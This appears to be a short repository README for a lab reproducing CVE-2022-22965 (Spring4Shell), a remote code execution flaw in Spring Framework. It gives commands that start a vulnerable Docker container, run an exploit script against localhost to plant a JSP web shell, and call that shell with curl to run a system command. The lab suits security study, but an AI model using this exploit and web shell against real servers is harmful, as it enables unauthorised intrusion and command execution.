me2nuk/cve-2022-22965JDK 9+에서 데이터 바인딩을 통한 Spring Framework RCE / spring4shell / CVE-2022-22965
JDK 9+에서 데이터 바인딩을 통한 Spring Framework RCE / spring4shell / CVE-2022-22965
docker pull me2nuk/cves:2022-22965
docker run -it -p 8080:8080 --name=spring4shell me2nuk/cves:2022-22965
python3 -m pip install -r requirements.txt
python3 exploit.py --url="http://localhost:8080/exploit/greeting" --dir="webapps/ROOT" --file="cmd"
curl http://localhost:8080/cmd.jsp?cmd=id